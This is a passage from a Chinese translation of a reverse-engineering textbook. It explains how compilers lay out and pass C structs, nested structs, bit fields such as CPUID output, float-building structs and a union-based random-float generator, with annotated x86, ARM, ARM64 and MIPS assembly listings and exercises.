模式编译上述程序可得如下所示的代码。 指令清单 21.21 Optimizing Keil 6/2013 (Thumb mode) .text:0000003E exit ; CODE XREF: f+16 .text:0000003E 05 B0 ADD SP, SP, #0x14 .text:00000040 00 BD POP {PC} .text:00000280 f .text:00000280 .text:00000280 var_18 = -0x18 .text:00000280 a = -0x14 .text:00000280 b = -0x10 .text:00000280 c = -0xC .text:00000280 d =-8 .text:00000280 .text:00000280 0F B5 PUSH {R0-R3,LR} .text:00000282 81 B0 SUB SP, SP, #4 .text:00000284 04 98 LDR R0, [SP,#16] ; d .text:00000286 02 9A LDR R2, [SP,#8] ; b .text:00000288 00 90 STR R0, [SP] .text:0000028A 68 46 MOV R0, SP .text:0000028C 03 7B LDRB R3, [R0,#12] ; c .text:0000028E 01 79 LDRB R1, [R0,#4] ; a .text:00000290 59 A0 ADR R0, aADBDCDDD ; "a=%d; b=%d; c=%d; d=%d\n" .text:00000292 05 F0 AD FF BL __2printf .text:00000296 D2 E6 B exit 本例向被调用方函数传递的是结构体型数据,不是结构体的指针。因为 ARM 会利用寄存器传递函数 所需的前 4 个参数,所以编译器利用 3R0~R3 寄存器向 printf()函数传递结构体的全部字段。 LDRB 从内存中加载 1 个字节并转换为 32 位有符号数据,用来从结构体中读取字段 a 和字段 c。它相 当于 x86 指令集中的 MOVSX 指令。 请注意,在函数退出时,它借用了另一个函数的函数尾声!这种借助 B 指令跳转到其他完全不相干的函数、 共用同一个函数尾声的现象,应当是因为两个函数的局部变量的存储空间完全相同。或许因为这两个函数在启 动时分配的栈大小相同(都分配了 4×5=0x14 的数据栈),导致退出语句也完全相同的缘故,再加上它们在内存 中的地址相近的因素,所以编译器进行了这种处理。确实,使用同一组退出语句不会影响程序的任何功能。这明 显是 Keil 编译器出于经济因素而进行的指令复用。JMP 指令只占用 2 个字节,而标准的函数尾声要占用 4 字节。 ARM + Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) 指令清单 21.22 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) var_C = -0xC PUSH {R7,LR} MOV R7, SP SUB SP, SP, #4 MOV R9,R1;b MOV R1,R0;a MOVW R0, #0xF10 ; "a=%d; b=%d; c=%d; d=%d\n" SXTB R1, R1 ;制备 a MOVT.W R0, #0 STR R3, [SP,#0xC+var_C] ; 推送 d 入栈,供 printf() 调用 ADD R0, PC ; 格式化字符串 异步社区会员 dearfuture(15918834820) 专享 尊重版权 330 逆向工程权威指南(上册) SXTB R3, R2 ; 制备 c MOV R2,R9;制备 b BLX _printf ADD SP, SP, #4 POP {R7,PC} SXTB(Signed Extend Byte)对应 x86 的 MOVSX 指令,但是它只能处理寄存器的数据,不能直接对内存 进行操作。程序中的其余指令与前例一样,本文不再进行重复说明。 21.4.3 MIPS 指令清单 21.23 Optimizing GCC 4.4.5 (IDA) 1 f: 2 3 var_18 = -0x18 4 var_10 = -0x10 5 var_4 = -4 6 arg_0 = 0 7 arg_4 = 4 8 arg_8 = 8 9 arg_C = 0xC 10 11 ; $a0=s.a 12 ; $a1=s.b 13 ; $a2=s.c 14 ; $a3=s.d 15 lui $gp, (__gnu_local_gp >> 16) 16 addiu $sp, -0x28 17 la $gp, (__gnu_local_gp & 0xFFFF) 18 sw $ra, 0x28+var_4($sp) 19 sw $gp, 0x28+var_10($sp) 20 ; prepare byte from 32-bit big-endian integer: 21 sra $t0, $a0, 24 22 move $v1, $a1 23 ; prepare byte from 32-bit big-endian integer: 24 sra $v0, $a2, 24 25 lw $t9, (printf & 0xFFFF)($gp) 26 sw $a0, 0x28+arg_0($sp) 27 lui $a0, ($LC0 >> 16) # "a=%d; b=%d; c=%d; d=%d\n" 28 sw $a3, 0x28+var_18($sp) 29 sw $a1, 0x28+arg_4($sp) 30 sw $a2, 0x28+arg_8($sp) 31 sw $a3, 0x28+arg_C($sp) 32 la $a0, ($LC0 & 0xFFFF) # "a=%d; b=%d; c=%d; d=%d\n" 33 move $a1, $t0 34 move $a2, $v1 35 jalr $t9 36 move $a3, $v0 ; branch delay slot 37 lw $ra, 0x28+var_4($sp) 38 or $at, $zero ; load delay slot, NOP 39 jr $ra 40 addiu $sp, 0x28 ; branch delay slot 41 42 $LC0: .ascii "a=%d; b=%d; c=%d; d=%d\n"<0> 结构体各字段首先被安置于$A0~$A3 寄存器,然后又被重新安放于$A1~$A3 寄存器以传递给 printf() 函数。较为特殊的是,上述程序使用了两次 SRA(Shift Word Right Arithmetic)指令,而 SRA 指令用于制备 char 型数据的字段。这是为什么?MIPS 默认采用大端字节序(big-endian,参见本书第 31 章),此外我用 的 Debian Linux 也使用大端字节序。当使用 32 位空间存储字节型变量时,数据占用第 31~24 位。因此, 当把 char 型数据扩展为 32 位数据时,必须右移 24 位。再加上 char 型数据属于有符号型数据,所以此处必 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 331 须用算术位移指令而不能使用逻辑位移指令。 21.4.4 其他 在向被调用方函数传递结构体时(不是传递结构体的指针),传递参数的过程相当于依次传递结构体的 各字段。即是说,如果结构体各字段的定义不变,那么 f()函数的源代码可改写为: void f(char a, int b, char c, int d) { printf ("a=%d; b=%d; c=%d; d=%d\n", a, b, c, d); }; 即使经过上述改动,编译器生成的可执行程序也完全不会发生变化。 21.5 结构体的嵌套 结构体套用另外一个结构体的情况大体如下: #include <stdio.h> struct inner_struct { int a; int b; }; struct outer_struct { char a; int b; struct inner_struct c; char d; int e; }; void f(struct outer_struct s) { printf ("a=%d; b=%d; c.a=%d; c.b=%d; d=%d; e=%d\n", s.a, s.b, s.c.a, s.c.b, s.d, s.e); }; int main() { struct outer_struct s; s.a=1; s.b=2; s.c.a=100; s.c.b=101; s.d=3; s.e=4; f(s); }; 这个程序把结构体 inner_struct 当作另一个结构体 outer_struct 的字段来用,它和 outer_struct 的 a、b、 d、e 一样,都是一个字段。 我们使用 MSVC 2010(启用/Ox /Ob0 选项)编译上述程序,可得到如下所示的代码。 指令清单 21.24 Optimizing MSVC 2010 /Ob0 $SG2802 DB ’a=%d; b=%d; c.a=%d; c.b=%d; d=%d; e=%d’, 0aH, 00H _TEXT SEGMENT _s$ = 8 _f PROC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 332 逆向工程权威指南(上册) mov eax, DWORD PTR _s$[esp+16] movsx ecx, BYTE PTR _s$[esp+12] mov edx, DWORD PTR _s$[esp+8] push eax mov eax, DWORD PTR _s$[esp+8] push ecx mov ecx, DWORD PTR _s$[esp+8] push edx movsx edx, BYTE PTR _s$[esp+8] push eax push ecx push edx push OFFSET $SG2802 ; ’a=%d; b=%d; c.a=%d; c.b=%d; d=%d; e=%d’ call _printf add esp, 28 ret 0 _f ENDP _s$ = -24 _main PROC sub esp, 24 push ebx push esi push edi mov ecx, 2 sub esp, 24 mov eax, esp mov BYTE PTR _s$[esp+60], 1 mov ebx, DWORD PTR _s$[esp+60] mov DWORD PTR [eax], ebx mov DWORD PTR [eax+4], ecx lea edx, DWORD PTR [ecx+98] lea esi, DWORD PTR [ecx+99] lea edi, DWORD PTR [ecx+2] mov DWORD PTR [eax+8], edx mov BYTE PTR _s$[esp+76], 3 mov ecx, DWORD PTR _s$[esp+76] mov DWORD PTR [eax+12], esi mov DWORD PTR [eax+16], ecx mov DWORD PTR [eax+20], edi call _f add esp, 24 pop edi pop esi xor eax, eax pop ebx add esp, 24 ret 0 _main ENDP 在汇编代码中,我们找不到内嵌结构体的影子。所以,我们可以断定,嵌套模式的结构体会被编译器 展开,最终形成一维结构体。 当然,如果使用“struct iner_struct c”替代源程序中的“struct inter_stuct *c”,汇编指令会大不相同。 OllyDbg 我们使用 OllyDbg 加载上述程序,观测 outer_struct。如图 21.5 所示。 它在内存中的构造如下:  (outer_struct.a)值为 1 的字节,其后 3 字节是随机脏数据。  (outer_struct.b) 32 位 word 型数据 2。  (outer_struct.a)32 位 word 型数据 0x64(100)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 333 图 21.5 OllyDbg:在执行 printf()之前  (outer_struct.b)32 位 word 型数据 0x65(101)。  (outer_struct.d)值为 3 的字节,以及其后 3 字节的脏数据。  (outer_struct.e)32 位 word 型数据 4。 21.6 结构体中的位操作 21.6.1 CPUID C/C++语言可以精确操作结构体中的位域。这能够帮助程序员大幅度地节省程序的内存消耗。例如, bool 型数据就需要 1 位空间。但是时间开销和空间效率不可两全,如果要节约内存开销,程序的性能就 会下降。 以CPUID指令为例。该指令用于获取CPU及其特性信息。 ① 3:0 (4 bits) 如果在调用指令之前设置 EAX 寄存器的值为 1,那么 CPUID 指令将会按照下列格式在 EAX 寄存器里 存储 CPU 的特征信息。 7:4 (4 bits) 11:8 (4 bits) 13:12(2 bits) 19:16(4 bits) 27:20(8 bits) Stepping Model Family Processor Type Extended Model Extended Family MSVC 2010 有CPUID宏,而GCC 4.4.1 没有这个宏。所以,我们自己写一个函数,再用GCC编译它。 ② ① 请参见 http://en.wikipedia.org/wiki/CPUID。 ② 请参见 http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html。 #include <stdio.h> #ifdef __GNUC__ static inline void cpuid(int code, int *a, int *b, int *c, int *d) { asm volatile("cpuid":"=a"(*a),"=b"(*b),"=c"(*c),"=d"(*d):"a"(code)); } #endif #ifdef _MSC_VER #include <intrin.h> #endif struct CPUID_1_EAX { unsigned int stepping:4; unsigned int model:4; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 334 逆向工程权威指南(上册) unsigned int family_id:4; unsigned int processor_type:2; unsigned int reserved1:2; unsigned int extended_model_id:4; unsigned int extended_family_id:8; unsigned int reserved2:4; }; int main() { struct CPUID_1_EAX *tmp; int b[4]; #ifdef _MSC_VER __cpuid(b,1); #endif #ifdef __GNUC__ cpuid (1, &b[0], &b[1], &b[2], &b[3]); #endif tmp=(struct CPUID_1_EAX *)&b[0]; printf ("stepping=%d\n", tmp->stepping); printf ("model=%d\n", tmp->model); printf ("family_id=%d\n", tmp->family_id); printf ("processor_type=%d\n", tmp->processor_type); printf ("extended_model_id=%d\n", tmp->extended_model_id); printf ("extended_family_id=%d\n", tmp->extended_family_id); return 0; }; 在 CPUID 将返回值存储到 EAX/EBX/ECX/EDX 之后,程序使用数组 b[]收集相关信息。然后,我们通 过指向结构体 CPUID_1_EAX 的指针,从数组 b[]中获取 EAX 寄存器里的值。 换而言之,我们把 32 位 int 型数据分解为结构体型数据,再从结构体中读取各项数值。 MSVC 使用 MSVC 2008(启用/Ox 选项)编译上述程序,可得如下所示的代码。 指令清单 21.25 Optimizing MSVC 2008 b$ = -16 ;size=16 _main PROC sub esp, 16 push ebx xor ecx, ecx mov eax, 1 cpuid push esi lea esi, DWORD PTR _b$[esp+24] mov DWORD PTR [esi], eax mov DWORD PTR [esi+4], ebx mov DWORD PTR [esi+8], ecx mov DWORD PTR [esi+12], edx mov esi, DWORD PTR _b$[esp+24] mov eax, esi and eax, 15 push eax push OFFSET $SG15435 ; ’stepping=%d’, 0aH, 00H call _printf mov ecx, esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 335 shr ecx, 4 and ecx, 15 push ecx push OFFSET $SG15436 ; ’model=%d’, 0aH, 00H call _printf mov edx, esi shr edx, 8 and edx, 15 push edx push OFFSET $SG15437 ; ’family_id=%d’, 0aH, 00H call _printf mov eax, esi shr eax, 12 and eax, 3 push eax push OFFSET $SG15438 ; ’processor_type=%d’, 0aH, 00H call _printf mov ecx, esi shr ecx, 16 and ecx, 15 push ecx push OFFSET $SG15439 ; ’extended_model_id=%d’, 0aH, 00H call _printf shr esi, 20 and esi, 255 push esi push OFFSET $SG15440 ; ’extended_family_id=%d’, 0aH, 00H call _printf add esp, 48 pop esi xor eax, eax pop ebx add esp, 16 ret 0 _main ENDP SHR 指令用于过滤位于 EAX 寄存器中右侧那些不参与运算的 bit 位。 而 AND 指令用于过滤位于寄存器左侧且不参与运算的相关位。换句话说,这两条指令用于筛选寄存 器的特定 bit 位。 MSVC+OllyDbg 现在使用 OllyDbg 调试这个程序。如图 21.6 所示,在执行 CPUID 之后,EAX/EBX/ECX/EDX 寄存器 保存着返回值。 图 21.6 OllyDbg:执行 CPUID 之后的寄存器情况 异步社区会员 dearfuture(15918834820) 专享 尊重版权 336 逆向工程权威指南(上册) 因为我使用的是 Xeon E3-1200 CPU,所以 EAX 的值是 0x000206A7 。它的二进制数值为 00000000000000100000011010100111。运行结果如图 29.7 所示。 各字段涵义如下表所示。 字段 二进制值 十进制值 reserved2 0000 0 extended_family_id 00000000 0 extended_model_id 0010 2 reserved1 00 0 processor_id 00 0 family_id 0110 6 model 1010 10 stepping 0111 7 图 21.7 OllyDbg:运行结果 GCC 使用 GCC 4.4.1(启用优化选项–O3)编译上述程序,可得如下所示的代码。 指令清单 21.26 Optimizing GCC 4.4.1 main proc near ; DATA XREF: _start+17 push ebp mov ebp, esp and esp, 0FFFFFFF0h push esi mov esi, 1 push ebx mov eax, esi sub esp, 18h cpuid mov esi, eax and eax, 0Fh mov [esp+8], eax mov dword ptr [esp+4], offset aSteppingD ; "stepping=%d\n" mov dword ptr [esp], 1 call ___printf_chk mov eax, esi shr eax, 4 and eax, 0Fh mov [esp+8], eax mov dword ptr [esp+4], offset aModelD ; "model=%d\n" mov dword ptr [esp], 1 call ___printf_chk mov eax, esi shr eax, 8 and eax, 0Fh mov [esp+8], eax mov dword ptr [esp+4], offset aFamily_idD ; "family_id=%d\n" mov dword ptr [esp], 1 call ___printf_chk 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 337 mov eax, esi shr eax, 0Ch and eax, 3 mov [esp+8], eax mov dword ptr [esp+4], offset aProcessor_type ; "processor_type=%d\n" mov dword ptr [esp], 1 call ___printf_chk mov eax, esi shr eax, 10h shr esi, 14h and eax, 0Fh and esi, 0FFh mov [esp+8], eax mov dword ptr [esp+4], offset aExtended_model ; "extended_model_id=%d\n" mov dword ptr [esp], 1 call ___printf_chk mov [esp+8], esi mov dword ptr [esp+4], offset unk_80486D0 mov dword ptr [esp], 1 call ___printf_chk add esp, 18h xor eax, eax pop ebx pop esi mov esp, ebp pop ebp retn main endp GCC 生成的汇编指令与 MSVC 库函数基本相同。二者的主要区别是:GCC 编译的程序在调用 printf()指 令之前把 extended_model_id 和 extended_family_id 放在连续的内存块里一并处理了,而没有像 MSVC 编译的程序 那样、在每次调用 printf()之前逐一进行计算。 21.6.2 用结构体构建浮点数 前文已经指出,每个单精度 float 或双精度 double 型浮点数,都由符号、小数和指数三部分组成。到 底能否直接利用结构体构建浮点型数据呢? 符号位(第 31 位) 指数部分(23~30 位) 小数部分(0~11 位) #include <stdio.h> #include <assert.h> #include <stdlib.h> #include <memory.h> struct float_as_struct { unsigned int fraction : 23; // 小数 unsigned int exponent : 8; // 指数 + 0x3FF unsigned int sign : 1;// 符号位 }; float f(float _in) { float f=_in; struct float_as_struct t; assert (sizeof (struct float_as_struct) == sizeof (float)); memcpy (&t, &f, sizeof (float)); t.sign=1; // set negative sign t.exponent=t.exponent+2; // multiply d by 2^n (n here is 2) memcpy (&f, &t, sizeof (float)); return f; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 338 逆向工程权威指南(上册) }; int main() { printf ("%f\n", f(1.234)); }; 通过结构体构建而成的 float_as_struct 和单精度浮点数据占用相同大小的内存空间,即 32 位/4 字节。 在程序里,我们设置符号位为负(1),并把指数增加 2,以进行乘以 4(2 的 n 次方(n=2))的乘法运算。 使用 MSVC 2008(不开启任何优化选项)编译上述程序,可得如下所示的代码。 指令清单 21.27 Non-optimizing MSVC 2008 _t$ = -8 ; size = 4 _f$ = -4 ; size = 4 __in$ = 8 ; size = 4 ?f@@YAMM@Z PROC ; f push ebp mov ebp, esp sub esp, 8 fld DWORD PTR __in$[ebp] fstp DWORD PTR _f$[ebp] push 4 lea eax, DWORD PTR _f$[ebp] push eax lea ecx, DWORD PTR _t$[ebp] push ecx call _memcpy add esp, 12 mov edx, DWORD PTR _t$[ebp] or edx, -2147483648 ; 80000000H - set minus sign mov DWORD PTR _t$[ebp], edx mov eax, DWORD PTR _t$[ebp] shr eax, 23 ; 00000017H - drop significand and eax, 255 ; 000000ffH - leave here only exponent add eax, 2 ; add 2 to it and eax, 255 ; 000000ffH shl eax, 23 ; 00000017H - shift result to place of bits 30:23 mov ecx, DWORD PTR _t$[ebp] and ecx, -2139095041 ; 807fffffH - drop exponent ; add original value without exponent with new calculated exponent or ecx, eax mov DWORD PTR _t$[ebp], ecx push 4 lea edx, DWORD PTR _t$[ebp] push edx lea eax, DWORD PTR _f$[ebp] push eax call _memcpy add esp, 12 fld DWORD PTR _f$[ebp] mov esp, ebp pop ebp ret 0 ?f@@YAMM@Z ENDP ; f 这个程序略微臃肿。如果使用优化选项/Ox 程序就不会调用 memcpy(),转而直接使用变量 f。不过, 不启用优化选项而编译出来的代码易于理解。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 339 如果启用 GCC 4.4.1 的-O3 选项又会如何? 指令清单 21.28 Optimizing GCC 4.4.1 ; f(float) public _Z1ff _Z1ff proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 mov eax, [ebp+arg_0] or eax, 80000000h ; set minus sign mov edx, eax and eax, 807FFFFFh ; leave onlySign and significand in EAX shr edx, 23 ; prepare exponent add edx, 2 ; add 2 movzx edx, dl ; clear all bits except 7:0 in EAX shl edx, 23 ; shift new calculated exponent to its place or eax, edx ; join new exponent and original value without exponent mov [ebp+var_4], eax fld [ebp+var_4] leave retn _Z1ff endp public main main proc near push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 10h fld ds:dword_8048614 ; -4.936 fstp qword ptr [esp+8] mov dword ptr [esp+4], offset asc_8048610 ; "%f\n" mov dword ptr [esp], 1 call ___printf_chk xor eax, eax leave retn main endp f()函数的指令几乎可以自然解释。有趣的是,尽管结构体的各个字段如同大杂烩一样复杂,但是 GCC 能够在编译阶段就计算出函数表达式 f(1.234)的值,并且把这个结果传递给 printf()函数! 21.7 练习题 21.7.1 题目 1 Linux程序 ① MIPS程序 : 请参见 http://beginners.re/exercises/per_chapter/struct_exercise_Linux86.tar ② ① GCC 4.8.1 -O3。 ② GCC 4.4.5-O3。 : 请参见 http://beginners.re/exercises/per_chapter/struct_exercise_MIPS.tar。 这个 Linux x86 程序能够打开文件并在屏幕上打印数字。请问它打印的是什么? 异步社区会员 dearfuture(15918834820) 专享 尊重版权 340 逆向工程权威指南(上册) 21.7.2 题目 2 这个函数的输入变量是结构体。请尝试逆向推出结构体的各个字段,不必推敲函数的具体功能。 由 MSVC 2010 /Ox 选项编译而得的代码如下所示。 指令清单 21.29 Optimizing MSVC 2010 $SG2802 DB '%f', 0aH, 00H $SG2803 DB '%c, %d', 0aH, 00H $SG2805 DB 'error #2', 0aH, 00H $SG2807 DB 'error #1', 0aH, 00H __real@405ec00000000000 DQ 0405ec00000000000r ; 123 __real@407bc00000000000 DQ 0407bc00000000000r ; 444 _s$ = 8 _f PROC push esi mov esi, DWORD PTR _s$[esp] cmp DWORD PTR [esi], 1000 jle SHORT $LN4@f cmp DWORD PTR [esi+4], 10 jbe SHORT $LN3@f fld DWORD PTR [esi+8] sub esp, 8 fmul QWORD PTR __real@407bc00000000000 fld QWORD PTR [esi+16] fmul QWORD PTR __real@405ec00000000000 faddp ST(1), ST(0) fstp QWORD PTR [esp] push OFFSET $SG2802 ; ’%f’ call _printf movzx eax, BYTE PTR [esi+25] movsx ecx, BYTE PTR [esi+24] push eax push ecx push OFFSET $SG2803 ; ’%c, %d’ call _printf add esp, 24 pop esi ret 0 $LN3@f: pop esi mov DWORD PTR _s$[esp-4], OFFSET $SG2805 ; ’error #2’ jmp _printf $LN4@f: pop esi mov DWORD PTR _s$[esp-4], OFFSET $SG2807 ; ’error #1’ jmp _printf _f ENDP 指令清单 21.30 Non-optimizing Keil 6/2013 (ARM mode) f PROC PUSH {r4-r6,lr} MOV r4,r0 LDR r0,[r0,#0] CMP r0,#0x3e8 ADRLE r0,|L0.140| BLE |L0.132| LDR r0,[r4,#4] CMP r0,#0xa ADRLS r0,|L0.152| BLS |L0.132| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 341 ADD r0,r4,#0x10 LDM r0,{r0,r1} LDR r3,|L0.164| MOV r2,#0 BL __aeabi_dmul MOV r5,r0 MOV r6,r1 LDR r0,[r4,#8] LDR r1,|L0.168| BL __aeabi_fmul BL __aeabi_f2d MOV r2,r5 MOV r3,r6 BL __aeabi_dadd MOV r2,r0 MOV r3,r1 ADR r0,|L0.172| BL __2printf LDRB r2,[r4,#0x19] LDRB r1,[r4,#0x18] POP {r4-r6,lr} ADR r0,|L0.176| B __2printf |L0.132| POP {r4-r6,lr} B __2printf ENDP |L0.140| DCB "error #1\n",0 DCB 0 DCB 0 |L0.152| DCB "error #2\n",0 DCB 0 DCB 0 |L0.164| DCB 0x405ec000 |L0.168| DCB 0x43de0000 |L0.172| DCB "%f\n",0 |L0.176| DCB "%c, %d\n",0 指令清单 21.31 Non-optimizing Keil 6/2013 (Thumb mode) f PROC PUSH {r4-r6,lr} MOV r4,r0 LDR r0,[r0,#0] CMP r0,#0x3e8 ADRLE r0,|L0.140| BLE |L0.132| LDR r0,[r4,#4] CMP r0,#0xa ADRLS r0,|L0.152| BLS |L0.132| ADD r0,r4,#0x10 LDM r0,{r0,r1} LDR r3,|L0.164| MOV r2,#0 BL __aeabi_dmul MOV r5,r0 MOV r6,r1 LDR r0,[r4,#8] LDR r1,|L0.168| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 342 逆向工程权威指南(上册) BL __aeabi_fmul BL __aeabi_f2d MOV r2,r5 MOV r3,r6 BL __aeabi_dadd MOV r2,r0 MOV r3,r1 ADR r0,|L0.172| BL __2printf LDRB r2,[r4,#0x19] LDRB r1,[r4,#0x18] POP {r4-r6,lr} ADR r0,|L0.176| B __2printf |L0.132| POP {r4-r6,lr} B __2printf ENDP |L0.140| DCB "error #1\n",0 DCB 0 DCB 0 |L0.152| DCB "error #2\n",0 DCB 0 DCB 0 |L0.164| DCD 0x405ec000 |L0.168| DCD 0x43de0000 |L0.172| DCB "%f\n",0 |L0.176| DCB "%c, %d\n",0 指令清单 21.32 Optimizing GCC 4.9 (ARM64) f: stp x29, x30, [sp, -32]! add x29, sp, 0 ldr w1, [x0] str x19, [sp,16] cmp w1, 1000 ble .L2 ldr w1, [x0,4] cmp w1, 10 bls .L3 ldr s1, [x0,8] mov x19, x0 ldr s0, .LC1 adrp x0, .LC0 ldr d2, [x19,16] add x0, x0, :lo12:.LC0 fmul s1, s1, s0 ldr d0, .LC2 fmul d0, d2, d0 fcvt d1, s1 fadd d0, d1, d0 bl printf ldrb w1, [x19,24] adrp x0, .LC3 ldrb w2, [x19,25] add x0, x0, :lo12:.LC3 ldr x19, [sp,16] ldp x29, x30, [sp], 32 b printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 343 .L3: ldr x19, [sp,16] adrp x0, .LC4 ldp x29, x30, [sp], 32 add x0, x0, :lo12:.LC4 b puts .L2: ldr x19, [sp,16] adrp x0, .LC5 ldp x29, x30, [sp], 32 add x0, x0, :lo12:.LC5 b puts .size f, .-f .LC1: .word 1138622464 .LC2: .word 0 .word 1079951360 .LC0: .string "%f\n" .LC3: .string "%c, %d\n" .LC4: .string "error #2" .LC5: .string "error #1" 指令清单 21.33 Optimizing GCC 4.4.5 (MIPS) (IDA) f: var_10 = -0x10 var_8 =-8 var_4 =-4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $s0, 0x20+var_8($sp) sw $gp, 0x20+var_10($sp) lw $v0, 0($a0) or $at, $zero slti $v0, 0x3E9 bnez $v0, loc_C8 move $s0, $a0 lw $v0, 4($a0) or $at, $zero sltiu $v0, 0xB bnez $v0, loc_AC lui $v0, (dword_134 >> 16) lwc1 $f4, $LC1 lwc1 $f2, 8($a0) lui $v0, ($LC2 >> 16) lwc1 $f0, 0x14($a0) mul.s $f2, $f4, $f2 lwc1 $f4, dword_134 lwc1 $f1, 0x10($a0) lwc1 $f5, $LC2 cvt.d.s $f2, $f2 mul.d $f0, $f4, $f0 lw $t9, (printf & 0xFFFF)($gp) lui $a0, ($LC0 >> 16) # "%f\n" add.d $f4, $f2, $f0 mfc1 $a2, $f5 mfc1 $a3, $f4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 344 逆向工程权威指南(上册) jalr $t9 la $a0, ($LC0 & 0xFFFF) # "%f\n" lw $gp, 0x20+var_10($sp) lbu $a2, 0x19($s0) lb $a1, 0x18($s0) lui $a0, ($LC3 >> 16) # "%c, %d\n" lw $t9, (printf & 0xFFFF)($gp) lw $ra, 0x20+var_4($sp) lw $s0, 0x20+var_8($sp) la $a0, ($LC3 & 0xFFFF) # "%c, %d\n" jr $t9 addiu $sp, 0x20 loc_AC: # CODE XREF: f+38 lui $a0, ($LC4 >> 16) # "error #2" lw $t9, (puts & 0xFFFF)($gp) lw $ra, 0x20+var_4($sp) lw $s0, 0x20+var_8($sp) la $a0, ($LC4 & 0xFFFF) # "error #2" jr $t9 addiu $sp, 0x20 loc_C8: # CODE XREF: f+24 lui $a0, ($LC5 >> 16) # "error #1" lw $t9, (puts & 0xFFFF)($gp) lw $ra, 0x20+var_4($sp) lw $s0, 0x20+var_8($sp) la $a0, ($LC5 & 0xFFFF) # "error #1" jr $t9 addiu $sp, 0x20 $LC0: .ascii "%f\n"<0> $LC3: .ascii "%c, %d\n"<0> $LC4: .ascii "error #2"<0> $LC5: .ascii "error #1"<0> .data # .rodata.cst4 $LC1: .word 0x43DE0000 .data # .rodata.cst8 $LC2: .word 0x405EC000 dword_134: .word 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2222 章 章 共 共用 用体 体( (uunniioonn) )类 类型 型 22.1 伪随机数生成程序 我们可以通过不同的方法生成一个介于 0~1 之间的随机浮点数。最简单的做法是:使用Mersenne twister(马特赛特旋转演算法)之类的PRNG ① 本例利用了线性同余随机数生成随机数的算法 生成 32 位DWORD值,把这个值转换为单精度float之后再除 以RAND_MAX(本例中是 0xFFFFFFFF)。这样就可以得到介于 0~1 之间的单精度浮点数。 但是除法的运算速度非常慢。而且从效率的角度考虑,随机函数同样应当尽量少用 FPU 的操作指令。 那么,我们是否可以彻底脱离除法运算实现随机函数呢? 单精度浮点数(float)型数据由符号位、有效数字和指数三部分构成。这种数据结构决定,只要随机 填充有效数字位就可以生成随机的单精度数! 依据有关规范,随机浮点数的指数部分不可以是 0。那么我们不妨把指数部分直接设置为 01111111(即 十进制的 1),用随机数字填充有效数字部分,再把符号位设置为零(表示正数)。瞧!像模像样!这就可 以生成一个介于 1~2 之间的随机数。再把它减去 1 就可以得到一个标准的随机函数。 ② ① Pseudorandom number generator,伪随机数生成函数。 ② 参考了网络文章 http://xor0110.wordpress.com/2010/09/24/how-to-generate-floating-point-random-numbers-efficiently。 。它使用UNIX格式的系统时间作为PRNG的随机种子, 继而生成 32 位数字。 在采用这种算法时,我们可采用共用体类型(union)的数据表示单精度浮点数(float)。这个方法可利用 C/C++ 的数据结构,按照一种与读取方式不同的数据类型存储浮点数据的各个组成部分。本例中,我们创建一个 union 型变量,然后把它当作 float 型或 uint32_t 型数据进行读取。换句话说,这是一种 hack,而且还是比较深度的 hack。 第 20 章的例子介绍过整数型 PRNG 的有关程序。因而本节不再复述其数据格式。 include <stdio.h> #include <stdint.h> #include <time.h> // integer PRNG definitions, data and routines: //constants from the Numerical Recipes book const uint32_t RNG_a=1664525; const uint32_t RNG_c=1013904223; uint32_t RNG_state; // global variable void my_srand(uint32_t i) { RNG_state=i; }; uint32_t my_rand() { RNG_state=RNG_state*RNG_a+RNG_c; return RNG_state; }; // FPU PRNG definitions and routines: union uint32_t_float { uint32_t i; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 346 逆向工程权威指南(上册) float f; }; float float_rand() { union uint32_t_float tmp; tmp.i=my_rand() & 0x007fffff | 0x3F800000; return tmp.f-1; }; // test int main() { my_srand(time(NULL)); // PRNG initialization for (int i=0; i<100; i++) printf ("%f\n", float_rand()); return 0; }; 22.1.1 x86 使用 MSVC 2010(启用选项/Ox)编译上述程序,可得到如下所示的代码。 指令清单 22.1 Optimizing MSVC 2010 $SG4232 DB '%f', 0aH, 00H __real@3ff0000000000000 DQ 03ff0000000000000r ;1 tv140 = -4 _tmp$ = -4 ?float_rand@@YAMXZ PROC push ecx call ?my_rand@@YAIXZ ; EAX=pseudorandom value and eax, 8388607 ; 007fffffH or eax, 1065353216 ; 3f800000H ; EAX=pseudorandom value & 0x007fffff | 0x3f800000 ; store it into local stack: mov DWORD PTR _tmp$[esp+4], eax ; reload it as float point number: fld DWORD PTR _tmp$[esp+4] ; subtract 1.0: fsub QWORD PTR __real@3ff0000000000000 ; store value we got into local stack and reload it: fstp DWORD PTR tv130[esp+4] ; \ these instructions are redundant fld DWORD PTR tv130[esp+4] ; / pop ecx ret 0 ?float_rand@@YAMXZ ENDP _main PROC push esi xor eax, eax call _time push eax call ?my_srand@@YAXI@Z add esp, 4 mov esi, 100 $LL3@main: call ?float_rand@@YAMXZ sub esp, 8 fstp QWORD PTR [esp] push OFFSET $SG4238 call _printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 22 章 共用体(union)类型 347 add esp, 12 dec esi jne SHORT $LL3@main xor eax, eax pop esi ret 0 _main ENDP 在使用 C++编译器编译之后,可执行程序中的函数名称彻底走样。这是编译器对函数的命名规范所决 定的。本书 51.1.1 